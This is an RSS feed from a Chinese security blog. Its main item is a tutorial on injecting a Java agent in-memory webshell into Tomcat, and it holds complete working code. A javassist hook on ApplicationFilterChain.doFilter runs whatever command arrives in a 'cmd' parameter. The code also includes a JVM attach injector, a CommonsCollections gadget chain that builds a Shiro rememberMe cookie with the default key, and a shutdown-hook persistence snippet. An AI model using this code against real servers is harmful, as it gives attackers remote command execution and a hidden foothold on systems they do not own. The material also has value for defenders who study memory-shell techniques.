<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>shell &#8211; ChaBug安全</title>
	<atom:link href="/tags/shell/feed" rel="self" type="application/rss+xml" />
	<link>/</link>
	<description>一个分享知识、结识伙伴、资源共享的博客</description>
	<lastBuildDate>Thu, 01 Oct 2020 14:43:33 +0000</lastBuildDate>
	<language>zh-CN</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.5.5</generator>
	<item>
		<title>Java Agent实现反序列化注入内存shell</title>
		<link>/audit/1920.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Thu, 01 Oct 2020 14:43:33 +0000</pubDate>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[agent]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[shell]]></category>
		<category><![CDATA[内存shell]]></category>
		<category><![CDATA[反序列化]]></category>
		<guid isPermaLink="false">/?p=1920</guid>

					<description><![CDATA[简述内存shell Java内存shell有很多种，大致分为： 动态注册servlet 动态注册filter 动态注册listener 基于Java agent拦截修改关键类字节码...]]></description>
										<content:encoded><![CDATA[<h1>简述<span class="wpcom_tag_link"><a href="/tags/%e5%86%85%e5%ad%98shell" title="内存shell" target="_blank">内存shell</a></span></h1>
<p>Java内存<span class="wpcom_tag_link"><a href="/tags/shell" title="shell" target="_blank">shell</a></span>有很多种，大致分为：</p>
<ol>
<li>动态注册servlet</li>
<li>动态注册filter</li>
<li>动态注册listener</li>
<li>基于Java <span class="wpcom_tag_link"><a href="/tags/agent" title="agent" target="_blank">agent</a></span>拦截修改关键类字节码实现内存shell</li>
</ol>
<p>前三种方法在 <a class="wp-editor-md-post-content-link" href="https://mp.weixin.qq.com/s/YhiOHWnqXVqvLNH7XSxC9w">《JSP Webshell那些事 &#8212; 攻击篇(下)》</a> 一文中均有讲解，但是前三种方法均需要对中间件大量调试，反射调用一步一步的链条，对于大型中间件比如weblogic这种比较麻烦，无法实现一套代码通用。</p>
<p>那么本文将要讲解的最后一种方法，通过拦截修改关键类的字节码，只需要寻找到关键类做处理即可，进而最大程度实现一套代码通用（理论上）。</p>
<h1>简单认识Java Agent</h1>
<p>在jdk的rt.jar包中存在一个<code><span class="wpcom_tag_link"><a href="/tags/java" title="java" target="_blank">java</a></span>.lang.instrument</code>包，该包提供了一些工具帮助开发人员在 Java 程序运行时，动态修改系统中的 Class 类型。其中，使用该软件包的一个关键组件就是 Javaagent。从名字上看，似乎是个 Java 代理之类的，而实际上，他的功能更像是一个Class 类型的转换器，他可以在运行时接受重新外部请求，对Class类型进行修改。</p>
<p>Javaagent是java命令的一个参数。参数 javaagent 可以用于指定一个 jar 包，并且对该 java 包有2个要求：<br />
1. 这个 jar 包的 <code>MANIFEST.MF</code> 文件必须指定 <code>Premain-Class</code> 项。<br />
2. <code>Premain-Class</code> 指定的那个类必须实现 premain() 方法。</p>
<p>JVM启动时会优先加载agent里面的东西，我们写一个简单的agent来看一下。</p>
<p>项目结构</p>
<pre><code class="language-bash line-numbers">└───src
    └───org
        └───chabug
                Agent.java
                DefineTransformer.java
</code></pre>
<p>org.chabug.Agent.java</p>
<pre><code class="language-java line-numbers">package org.chabug;

import java.lang.instrument.Instrumentation;

public class Agent {
    public static void premain(String agentArgs, Instrumentation inst) {
        System.out.println("agentArgs : " + agentArgs);
        inst.addTransformer(new DefineTransformer(), true);
    }
}
</code></pre>
<p>org.chabug.DefineTransformer.java</p>
<pre><code class="language-java line-numbers">package org.chabug;

import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;

public class DefineTransformer implements ClassFileTransformer {
    @Override
    public byte[] transform(ClassLoader loader, String className, Class&lt;?&gt; classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
        System.out.println("premain load Class:" + className);
        return new byte[0];
    }
}
</code></pre>
<p>然后配置打包文件<code>srcMETA-INFMANIFEST.MF</code></p>
<pre><code class="language-yaml line-numbers">Manifest-Version: 1.0
Can-Redefine-Classes: true
Can-Retransform-Classes: true
Premain-Class: org.chabug.Agent

</code></pre>
<p>idea打包为jar文件之后，创建一个新的类<code>org.chabug.Main</code>测试agent</p>
<pre><code class="language-java line-numbers">package org.chabug;

public class Main {
    public static void main(String[] args) {
        System.out.println("thisismain");
    }
}
</code></pre>
<p>idea设置运行时vm参数<code>-javaagent:outartifactsTestAgent_jarTestAgent.jar</code><br />
<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/aabc9058-b9af-8553-d97b-974d8bcc5a82.png" alt="image.png" /></p>
<p>运行结果</p>
<pre><code class="language-text line-numbers">agentArgs : null
premain load Class:java/util/concurrent/ConcurrentHashMap$ForwardingNode
premain load Class:sun/misc/URLClassPath$JarLoader$2
premain load Class:java/util/jar/Attributes
premain load Class:java/util/jar/Manifest$FastInputStream
premain load Class:java/lang/StringCoding
premain load Class:java/lang/StringCoding$StringDecoder
premain load Class:java/util/jar/Attributes$Name
premain load Class:sun/misc/ASCIICaseInsensitiveComparator
premain load Class:com/intellij/rt/execution/application/AppMainV2$Agent
premain load Class:com/intellij/rt/execution/application/AppMainV2
premain load Class:com/intellij/rt/execution/application/AppMainV2$1
premain load Class:java/lang/reflect/InvocationTargetException
premain load Class:java/lang/NoSuchMethodException
premain load Class:java/net/Socket
premain load Class:java/net/InetSocketAddress
premain load Class:java/net/SocketAddress
premain load Class:java/net/InetAddress
premain load Class:java/net/InetSocketAddress$InetSocketAddressHolder
premain load Class:sun/security/action/GetBooleanAction
premain load Class:java/lang/invoke/MethodHandleImpl
premain load Class:java/net/InetAddress$1
premain load Class:java/lang/invoke/MethodHandleImpl$1
premain load Class:java/lang/invoke/MethodHandleImpl$2
premain load Class:java/util/function/Function
premain load Class:java/net/InetAddress$InetAddressHolder
premain load Class:java/net/InetAddress$Cache
premain load Class:java/net/InetAddress$Cache$Type
premain load Class:java/net/InetAddressImplFactory
premain load Class:java/lang/invoke/MethodHandleImpl$3
premain load Class:java/lang/invoke/MethodHandleImpl$4
premain load Class:java/lang/ClassValue
premain load Class:java/net/Inet6AddressImpl
premain load Class:java/lang/ClassValue$Entry
premain load Class:java/net/InetAddressImpl
premain load Class:java/lang/ClassValue$Identity
premain load Class:java/lang/ClassValue$Version
premain load Class:java/lang/invoke/MemberName$Factory
premain load Class:java/net/InetAddress$2
premain load Class:java/lang/invoke/MethodHandleStatics
premain load Class:sun/net/spi/nameservice/NameService
premain load Class:java/lang/invoke/MethodHandleStatics$1
premain load Class:java/net/Inet4Address
premain load Class:java/net/SocksSocketImpl
premain load Class:java/net/SocksConsts
premain load Class:sun/misc/PostVMInitHook
premain load Class:java/net/PlainSocketImpl
premain load Class:sun/misc/PostVMInitHook$2
premain load Class:java/net/AbstractPlainSocketImpl
premain load Class:jdk/internal/util/EnvUtils
premain load Class:sun/misc/PostVMInitHook$1
premain load Class:java/net/SocketImpl
premain load Class:java/net/SocketOptions
premain load Class:sun/usagetracker/UsageTrackerClient
premain load Class:java/net/AbstractPlainSocketImpl$1
premain load Class:java/util/concurrent/atomic/AtomicBoolean
premain load Class:sun/usagetracker/UsageTrackerClient$1
premain load Class:java/net/PlainSocketImpl$1
premain load Class:sun/usagetracker/UsageTrackerClient$4
premain load Class:sun/misc/FloatingDecimal
premain load Class:sun/usagetracker/UsageTrackerClient$2
premain load Class:sun/misc/FloatingDecimal$ExceptionalBinaryToASCIIBuffer
premain load Class:sun/misc/FloatingDecimal$BinaryToASCIIConverter
premain load Class:sun/usagetracker/UsageTrackerClient$3
premain load Class:sun/misc/FloatingDecimal$BinaryToASCIIBuffer
premain load Class:sun/misc/FloatingDecimal$1
premain load Class:sun/misc/FloatingDecimal$PreparedASCIIToBinaryBuffer
premain load Class:sun/misc/FloatingDecimal$ASCIIToBinaryConverter
premain load Class:sun/misc/FloatingDecimal$ASCIIToBinaryBuffer
premain load Class:java/net/DualStackPlainSocketImpl
premain load Class:java/lang/StringCoding$StringEncoder
premain load Class:java/net/Inet6Address
premain load Class:java/io/FileOutputStream$1
premain load Class:java/net/Inet6Address$Inet6AddressHolder
premain load Class:sun/launcher/LauncherHelper
premain load Class:java/net/SocksSocketImpl$3
premain load Class:sun/nio/cs/MS1252
premain load Class:java/net/ProxySelector
premain load Class:sun/nio/cs/SingleByte
premain load Class:sun/net/spi/DefaultProxySelector
premain load Class:sun/nio/cs/SingleByte$Decoder
premain load Class:sun/net/spi/DefaultProxySelector$1
premain load Class:sun/net/NetProperties
premain load Class:sun/net/NetProperties$1
premain load Class:org/chabug/Main
premain load Class:sun/launcher/LauncherHelper$FXHelper
premain load Class:java/util/Properties$LineReader
premain load Class:java/lang/Class$MethodArray
premain load Class:java/lang/Void
thisismain
premain load Class:java/lang/Shutdown
premain load Class:java/net/URI
premain load Class:java/lang/Shutdown$Lock
</code></pre>
<p>可以看到agent的<code>org.chabug.Agent#premain</code>优于Main方法而先被运行，并且在<code>org.chabug.DefineTransformer#transform</code>获取到了JVM加载的类。</p>
<p>那么思路回到内存shell的思路中，如果我们把这个agent加载到jvm中，那么就可以通过javassist进行字节码插桩，修改tomcat的filter实现类，从而实现内存马。</p>
<p>现在的问题就在于：</p>
<ol>
<li>javassist 应该修改哪个关键类？</li>
<li>如何指定运行时tomcat的<code>-javaagent</code>参数？</li>
<li>如何修改tomcat运行后已经加载的类？</li>
<li>如何通过<span class="wpcom_tag_link"><a href="/tags/%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96" title="反序列化" target="_blank">反序列化</a></span>注入</li>
</ol>
<h1>寻找关键类</h1>
<p>tomcat filter内存shell有无数的分析文章，其中大部分都提到了一个关键类<code>org.apache.catalina.core.ApplicationFilterChain#doFilter</code><br />
<img src="/wp-content/uploads/2020/10/02f7b000-46b4-ebb6-208c-fbc57bd4fab2.png" alt="image.png" /></p>
<p>该方法有ServletRequest和ServletResponse两个参数，里面封装了请求的request和response。另外，internalDoFilter方法是自定义filter的入口，如果在这里拦截，那么filter既通用，又不影响正常业务。</p>
<p>来写agent</p>
<pre><code class="language-java line-numbers">package org.chabug;

import java.lang.instrument.Instrumentation;

public class MyAgent {
    // tomcat FilterChain
    public static String ClassName = "org.apache.catalina.core.ApplicationFilterChain";

    public static void agentmain(String args, Instrumentation inst) throws Exception {
        inst.addTransformer(new MyTransformer(), true);
        Class[] loadedClasses = inst.getAllLoadedClasses();

        for (int i = 0; i &lt; loadedClasses.length; ++i) {
            Class clazz = loadedClasses[i];
            if (clazz.getName().equals(ClassName)) {
                try {
                    inst.retransformClasses(new Class[]{clazz});
                } catch (Exception var9) {
                    var9.printStackTrace();
                }
            }
        }
//        System.out.println("agent done");
    }

    public static void premain(String args, Instrumentation inst) throws Exception {

    }
}
</code></pre>
<p>定义transform</p>
<pre><code class="language-java line-numbers">package org.chabug;

import javassist.*;

import java.io.IOException;
import java.lang.instrument.ClassFileTransformer;
import java.security.ProtectionDomain;

public class MyTransformer implements ClassFileTransformer {
    public static String ClassName = "org.apache.catalina.core.ApplicationFilterChain";

    @Override
    public byte[] transform(ClassLoader loader, String className, Class&lt;?&gt; aClass, ProtectionDomain protectionDomain, byte[] classfileBuffer) {
        className = className.replace('/', '.');

        if (className.equals(ClassName)) {
//            System.out.println(":::::::::::::::::::find shiro ApplicationFilterChain:" + className);
            ClassPool cp = ClassPool.getDefault();
            if (aClass != null) {
                ClassClassPath classPath = new ClassClassPath(aClass);
                cp.insertClassPath(classPath);
            }
            CtClass cc;
            try {
                cc = cp.get(className);
                CtMethod m = cc.getDeclaredMethod("doFilter");
                m.insertBefore(" javax.servlet.ServletRequest req = request;n" +
                        "            javax.servlet.ServletResponse res = response;" +
                        "String cmd = req.getParameter("cmd");n" +
                        "if (cmd != null) {n" +
                        "Process process = Runtime.getRuntime().exec(cmd);n" +
                        "java.io.BufferedReader bufferedReader = new java.io.BufferedReader(n" +
                        "new java.io.InputStreamReader(process.getInputStream()));n" +
                        "StringBuilder stringBuilder = new StringBuilder();n" +
                        "String line;n" +
                        "while ((line = bufferedReader.readLine()) != null) {n" +
                        "stringBuilder.append(line + '\n');n" +
                        "}n" +
                        "res.getOutputStream().write(stringBuilder.toString().getBytes());n" +
                        "res.getOutputStream().flush();n" +
                        "res.getOutputStream().close();n" +
                        "}");
                byte[] byteCode = cc.toBytecode();
                cc.detach();
                return byteCode;
            } catch (NotFoundException | IOException | CannotCompileException e) {
                e.printStackTrace();
//                System.out.println("error:::::::::::::::::::::" + e.getMessage());
            }
        }

        return new byte[0];
    }
}
</code></pre>
<h1>如何指定<code>-javaagent</code>参数</h1>
<p>tomcat运行前我们无法控制命令行参数，但是运行时JVM提供了<code>com.sun.tools.attach.VirtualMachine</code>的api，可以通过这个类attach jvm，然后通过<code>loadAgent()</code>函数把agent加载进去。</p>
<p>然后在这里又碰到了坑，<code>com.sun.tools.attach.VirtualMachine</code>这个类是JDK的<code>C:Program FilesJavajdk1.8.0_251libtools.jar</code>包中，在tomcat运行时是jre环境，获取不到这个类。我的办法是通过URLClassLoader加载<code>java.home</code>拼接出来的jar包路径，然后反射获取类和方法。</p>
<p>实现代码</p>
<pre><code class="language-java line-numbers">package org.chabug;

public class Main {
    public static void main(String[] args) throws Exception {
        if (args.length == 0) {
            return;
        }
        String agentPath = args[0];
        try {
            java.io.File toolsJar = new java.io.File(System.getProperty("java.home").replaceFirst("jre", "lib") + java.io.File.separator + "tools.jar");
            java.net.URLClassLoader classLoader = (java.net.URLClassLoader) java.lang.ClassLoader.getSystemClassLoader();
            java.lang.reflect.Method add = java.net.URLClassLoader.class.getDeclaredMethod("addURL", new java.lang.Class[]{java.net.URL.class});
            add.setAccessible(true);
            add.invoke(classLoader, new Object[]{toolsJar.toURI().toURL()});
            Class&lt;?&gt; MyVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine");
            Class&lt;?&gt; MyVirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");
            java.lang.reflect.Method list = MyVirtualMachine.getDeclaredMethod("list", new java.lang.Class[]{});
            java.util.List&lt;Object&gt; invoke = (java.util.List&lt;Object&gt;) list.invoke(null, new Object[]{});
//            System.out.println(invoke);

            for (int i = 0; i &lt; invoke.size(); i++) {
                Object o = invoke.get(i);
                java.lang.reflect.Method displayName = o.getClass().getSuperclass().getDeclaredMethod("displayName", new Class[]{});
                Object name = displayName.invoke(o, new Object[]{});
                System.out.println(String.format("find jvm process name:[[[" +
                        "%s" +
                        "]]]", name.toString()));
                if (name.toString().contains("org.apache.catalina.startup.Bootstrap")) {
                    java.lang.reflect.Method attach = MyVirtualMachine.getDeclaredMethod("attach", new Class[]{MyVirtualMachineDescriptor});
                    Object machine = attach.invoke(MyVirtualMachine, new Object[]{o});
                    java.lang.reflect.Method loadAgent = machine.getClass().getSuperclass().getSuperclass().getDeclaredMethod("loadAgent", new Class[]{String.class});
                    loadAgent.invoke(machine, new Object[]{agentPath});
                    java.lang.reflect.Method detach = MyVirtualMachine.getDeclaredMethod("detach", new Class[]{});
                    detach.invoke(machine, new Object[]{});
                    System.out.println("inject tomcat done, break.");
                    System.out.println("check url http://localhost:8080/?cmd=whoami");
                    break;
                }
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
</code></pre>
<p>运行这个类，传入agentPath就可以注入agent了。</p>
<p>在这里还碰到一个坑:<code>VirtualMachine.list()</code>获取为空，后来发现双击tomcat的startup.bat启动，在jconsole中也找不到jvm进程，然后一顿乱试发现通过命令行运行startup.bat就可以了。</p>
<h1>如何修改tomcat运行后已经加载的类</h1>
<p>其实这个问题在上面写agent的时候已经解决了，关键代码</p>
<pre><code class="language-java line-numbers">Class[] loadedClasses = inst.getAllLoadedClasses();

for (int i = 0; i &lt; loadedClasses.length; ++i) {
    Class clazz = loadedClasses[i];
    if (clazz.getName().equals(ClassName)) {
        try {
            inst.retransformClasses(new Class[]{clazz});
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
</code></pre>
<p>通过<code>Instrumentation</code>的<code>getAllLoadedClasses()</code>就能拿到tomcat运行后已经加载的类，再通过<code>retransformClasses()</code>重新转换下就可以了。</p>
<h1>如何通过反序列化注入</h1>
<p>我这里是shiro550 tomcat9的环境，根据 https://github.com/feihong-cs/ShiroExploit 的ysoserial工具抠出来CC10的链条，改了改。</p>
<pre><code class="language-java line-numbers">package org.chabug.demo;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import ysoserial.payloads.util.Reflections;

import javax.crypto.BadPaddingException;
import javax.crypto.Cipher;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.io.*;
import java.lang.reflect.Field;
import java.security.InvalidKeyException;
import java.security.NoSuchAlgorithmException;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

// 依赖 commons-collections:commons-collections:3.2.1
// 依赖于 ysoserial javassist
public class CC10 {

    static {
        System.setProperty("jdk.xml.enableTemplatesImplDeserialization", "true");
        System.setProperty("java.rmi.server.useCodebaseOnly", "false");
    }

    public static Object createTemplatesImpl(String command) throws Exception {
        return Boolean.parseBoolean(System.getProperty("properXalan", "false")) ? createTemplatesImpl(command, Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"), Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl")) : createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
    }

    public static &lt;T&gt; T createTemplatesImpl(String agentPath, Class&lt;T&gt; tplClass, Class&lt;?&gt; abstTranslet, Class&lt;?&gt; transFactory) throws Exception {
        T templates = tplClass.newInstance();
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
        pool.insertClassPath(new ClassClassPath(abstTranslet));
        CtClass clazz = pool.get(StubTransletPayload.class.getName());
        String cmd = String.format(
                "        try {n" +
                        "java.io.File toolsJar = new java.io.File(System.getProperty("java.home").replaceFirst("jre", "lib") + java.io.File.separator + "tools.jar");n" +
                        "java.net.URLClassLoader classLoader = (java.net.URLClassLoader) java.lang.ClassLoader.getSystemClassLoader();n" +
                        "java.lang.reflect.Method add = java.net.URLClassLoader.class.getDeclaredMethod("addURL", new java.lang.Class[]{java.net.URL.class});n" +
                        "add.setAccessible(true);n" +
                        "            add.invoke(classLoader, new Object[]{toolsJar.toURI().toURL()});n" +
                        "Class/*&lt;?&gt;*/ MyVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine");n" +
                        "            Class/*&lt;?&gt;*/ MyVirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");" +
                        "java.lang.reflect.Method list = MyVirtualMachine.getDeclaredMethod("list", null);n" +
                        "            java.util.List/*&lt;Object&gt;*/ invoke = (java.util.List/*&lt;Object&gt;*/) list.invoke(null, null);" +
                        "for (int i = 0; i &lt; invoke.size(); i++) {" +
                        "Object o = invoke.get(i);n" +
                        "                java.lang.reflect.Method displayName = o.getClass().getSuperclass().getDeclaredMethod("displayName", null);n" +
                        "                Object name = displayName.invoke(o, null);n" +
                        "if (name.toString().contains("org.apache.catalina.startup.Bootstrap")) {" +
                        "                    java.lang.reflect.Method attach = MyVirtualMachine.getDeclaredMethod("attach", new Class[]{MyVirtualMachineDescriptor});n" +
                        "                    Object machine = attach.invoke(MyVirtualMachine, new Object[]{o});n" +
                        "                    java.lang.reflect.Method loadAgent = machine.getClass().getSuperclass().getSuperclass().getDeclaredMethod("loadAgent", new Class[]{String.class});n" +
                        "                    loadAgent.invoke(machine, new Object[]{"%s"});n" +
                        "                    java.lang.reflect.Method detach = MyVirtualMachine.getDeclaredMethod("detach", null);n" +
                        "                    detach.invoke(machine, null);n" +
                        "                    break;n" +
                        "}" +
                        "}" +
                        "} catch (Exception e) {n" +
                        "            e.printStackTrace();n" +
                        "        }"
                , agentPath.replaceAll("\\", "\\\\").replaceAll(""", "\""));

        clazz.makeClassInitializer().insertAfter(cmd);
        clazz.setName("ysoserial.Pwner" + System.nanoTime());
        CtClass superC = pool.get(abstTranslet.getName());
        clazz.setSuperclass(superC);
        byte[] classBytes = clazz.toBytecode();
        Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{classBytes, classAsBytes(Foo.class)});
        Reflections.setFieldValue(templates, "_name", "Pwnr");
        Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
        return templates;
    }

    public static String classAsFile(Class&lt;?&gt; clazz) {
        return classAsFile(clazz, true);
    }

    public static String classAsFile(Class&lt;?&gt; clazz, boolean suffix) {
        String str;
        if (clazz.getEnclosingClass() == null) {
            str = clazz.getName().replace(".", "/");
        } else {
            str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName();
        }

        if (suffix) {
            str = str + ".class";
        }

        return str;
    }

    public static byte[] classAsBytes(Class&lt;?&gt; clazz) {
        try {
            byte[] buffer = new byte[1024];
            String file = classAsFile(clazz);
            InputStream in = CC10.class.getClassLoader().getResourceAsStream(file);
            if (in == null) {
                throw new IOException("couldn't find '" + file + "'");
            } else {
                ByteArrayOutputStream out = new ByteArrayOutputStream();

                int len;
                while ((len = in.read(buffer)) != -1) {
                    out.write(buffer, 0, len);
                }

                return out.toByteArray();
            }
        } catch (IOException var6) {
            throw new RuntimeException(var6);
        }
    }


    public static void main(String[] args) throws Exception {
        // this is your agent path
        String command = "E:\code\java\MyAgent\out\artifacts\MyAgent_jar\MyAgent.jar";
        Object templates = createTemplatesImpl(command);
        InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
        Map innerMap = new HashMap();
        Map lazyMap = LazyMap.decorate(innerMap, transformer);
        TiedMapEntry entry = new TiedMapEntry(lazyMap, templates);
        HashSet map = new HashSet(1);
        map.add("foo");
        Field f = null;

        try {
            f = HashSet.class.getDeclaredField("map");
        } catch (NoSuchFieldException var17) {
            f = HashSet.class.getDeclaredField("backingMap");
        }

        Reflections.setAccessible(f);
        HashMap innimpl = null;
        innimpl = (HashMap) f.get(map);
        Field f2 = null;

        try {
            f2 = HashMap.class.getDeclaredField("table");
        } catch (NoSuchFieldException var16) {
            f2 = HashMap.class.getDeclaredField("elementData");
        }

        Reflections.setAccessible(f2);
        Object[] array = new Object[0];
        array = (Object[]) ((Object[]) f2.get(innimpl));
        Object node = array[0];
        if (node == null) {
            node = array[1];
        }

        Field keyField = null;

        try {
            keyField = node.getClass().getDeclaredField("key");
        } catch (Exception var15) {
            keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
        }

        Reflections.setAccessible(keyField);
        keyField.set(node, entry);
        Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

        byte[] bytes = Serializables.serializeToBytes(map);
        String key = "kPH+bIxk5D2deZiIxcaaaA==";
        String rememberMe = EncryptUtil.shiroEncrypt(key, bytes);
        System.out.println(rememberMe);
    }

    public static class Foo implements Serializable {
        private static final long serialVersionUID = 8207363842866235160L;

        public Foo() {
        }
    }

    public static class StubTransletPayload extends AbstractTranslet implements Serializable {
        private static final long serialVersionUID = -5971610431559700674L;

        public StubTransletPayload() {
        }

        public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
        }

        public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
        }
    }


}

class Serializables {
    public static byte[] serializeToBytes(final Object obj) throws Exception {
        final ByteArrayOutputStream out = new ByteArrayOutputStream();
        final ObjectOutputStream objOut = new ObjectOutputStream(out);
        objOut.writeObject(obj);
        objOut.flush();
        objOut.close();
        return out.toByteArray();
    }


    public static Object deserializeFromBytes(final byte[] serialized) throws Exception {
        final ByteArrayInputStream in = new ByteArrayInputStream(serialized);
        final ObjectInputStream objIn = new ObjectInputStream(in);
        return objIn.readObject();
    }

    public static void serializeToFile(String path, Object obj) throws Exception {
        FileOutputStream fos = new FileOutputStream("object");
        ObjectOutputStream os = new ObjectOutputStream(fos);
        //writeObject()方法将obj对象写入object文件
        os.writeObject(obj);
        os.close();
    }

    public static Object serializeFromFile(String path) throws Exception {
        FileInputStream fis = new FileInputStream(path);
        ObjectInputStream ois = new ObjectInputStream(fis);
        // 通过Object的readObject()恢复对象
        Object obj = ois.readObject();
        ois.close();
        return obj;
    }

}


class EncryptUtil {
    private static final String ENCRY_ALGORITHM = "AES";
    private static final String CIPHER_MODE = "AES/CBC/PKCS5Padding";
    private static final byte[] IV = "aaaaaaaaaaaaaaaa".getBytes();     // 16字节IV

    public EncryptUtil() {
    }

    public static byte[] encrypt(byte[] clearTextBytes, byte[] pwdBytes) {
        try {
            SecretKeySpec keySpec = new SecretKeySpec(pwdBytes, ENCRY_ALGORITHM);
            Cipher cipher = Cipher.getInstance(CIPHER_MODE);
            IvParameterSpec iv = new IvParameterSpec(IV);
            cipher.init(1, keySpec, iv);
            byte[] cipherTextBytes = cipher.doFinal(clearTextBytes);
            return cipherTextBytes;
        } catch (NoSuchPaddingException var6) {
            var6.printStackTrace();
        } catch (NoSuchAlgorithmException var7) {
            var7.printStackTrace();
        } catch (BadPaddingException var8) {
            var8.printStackTrace();
        } catch (IllegalBlockSizeException var9) {
            var9.printStackTrace();
        } catch (InvalidKeyException var10) {
            var10.printStackTrace();
        } catch (Exception var11) {
            var11.printStackTrace();
        }

        return null;
    }

    public static String shiroEncrypt(String key, byte[] objectBytes) {
        byte[] pwd = Base64.decode(key);
        byte[] cipher = encrypt(objectBytes, pwd);

        assert cipher != null;

        byte[] output = new byte[pwd.length + cipher.length];
        byte[] iv = IV;
        System.arraycopy(iv, 0, output, 0, iv.length);
        System.arraycopy(cipher, 0, output, pwd.length, cipher.length);
        return Base64.encode(output);
    }
}
</code></pre>
<p>在javassist插桩的时候碰到很多坑，比如泛型要用<code>/**/</code>包起来，反射的可变参数的处理等等，不一一细讲，参考我的代码就行了。</p>
<h1>效果</h1>
<p><img src="/wp-content/uploads/2020/10/21f519ec-a731-13c4-eb06-60d03b75fc67.gif" alt="shell.gif" /></p>
<p>项目地址：https://github.com/Y4er/javaagent-tomcat-memshell</p>
<h1>思考</h1>
<p>写到这里又看了一些文章，发现了一些问题。</p>
<h2>内存shell复活</h2>
<p>@rebeyond 师傅的memShell项目实现了内存shell复活，原理是通过设置Java虚拟机的关闭钩子ShutdownHook来达到这个目的，但是会有一个jar包循环等待jvm进程起来，更敏感，我就没实现这个东西，代码贴出来</p>
<pre><code class="language-java line-numbers">public static void persist() {
     try {
         Thread t = new Thread() {
             public void run() {
                 try {
                     writeFiles("inject.jar",Agent.injectFileBytes);
                     writeFiles("agent.jar",Agent.agentFileBytes);
                     startInject();
                 } catch (Exception e) {

                 }
             }
         };
         t.setName("shutdown Thread");
         Runtime.getRuntime().addShutdownHook(t);
     } catch (Throwable t) {
     }
}
</code></pre>
<p>JVM关闭前，会先调用writeFiles把inject.jar和agent.jar写到磁盘上，然后调用startInject，startInject通过Runtime.exec启动<code>java -jar inject.jar</code>。</p>
<h2>文件落地并且被锁定</h2>
<p>用javaagent的形式实现的内存shell，你需要落地一个agent进去，加载agent之后jar不能被删除，而落地agent会不会更敏感？</p>
<p>与其落地文件为什么不直接落地jsp shell，获取对于mvc和springboot这种有点作用，但是内存shell的意义确实被削弱了。</p>
<h2>通用性</h2>
<p>只需要寻找关键类即可，对于tomcat、weblogic这种还算通用，完全可以实现一个agent.jar通杀。</p>
<h2>关键类寻找</h2>
<p>如果关键类找不对，或者错了几个参数的命名，那么中间件正常处理filter的逻辑很可能发生错误，中间件很可能被打挂。虽然可以本地环境调试，但是每个发行版不同、补丁数的不同所带来的不稳定因素还是很大的。</p>
<h2>结论</h2>
<p>所以个人而言，agent类型的内存shell只能作为内存shell的一种开拓性思路，实际环境更应该倾向于servlet、filter这种内存shell，重在稳定。</p>
<h1>参考</h1>
<ol>
<li>https://www.cnblogs.com/rebeyond/p/9686213.html</li>
<li>https://github.com/rebeyond/memShell</li>
<li>https://www.cnblogs.com/rickiyang/p/11368932.html</li>
<li>https://github.com/Y4er/javaagent-tomcat-memshell</li>
</ol>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>通过hook eval解密混淆的PHP文件</title>
		<link>/web/1202.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Sat, 15 Feb 2020 17:12:00 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[hook]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[shell]]></category>
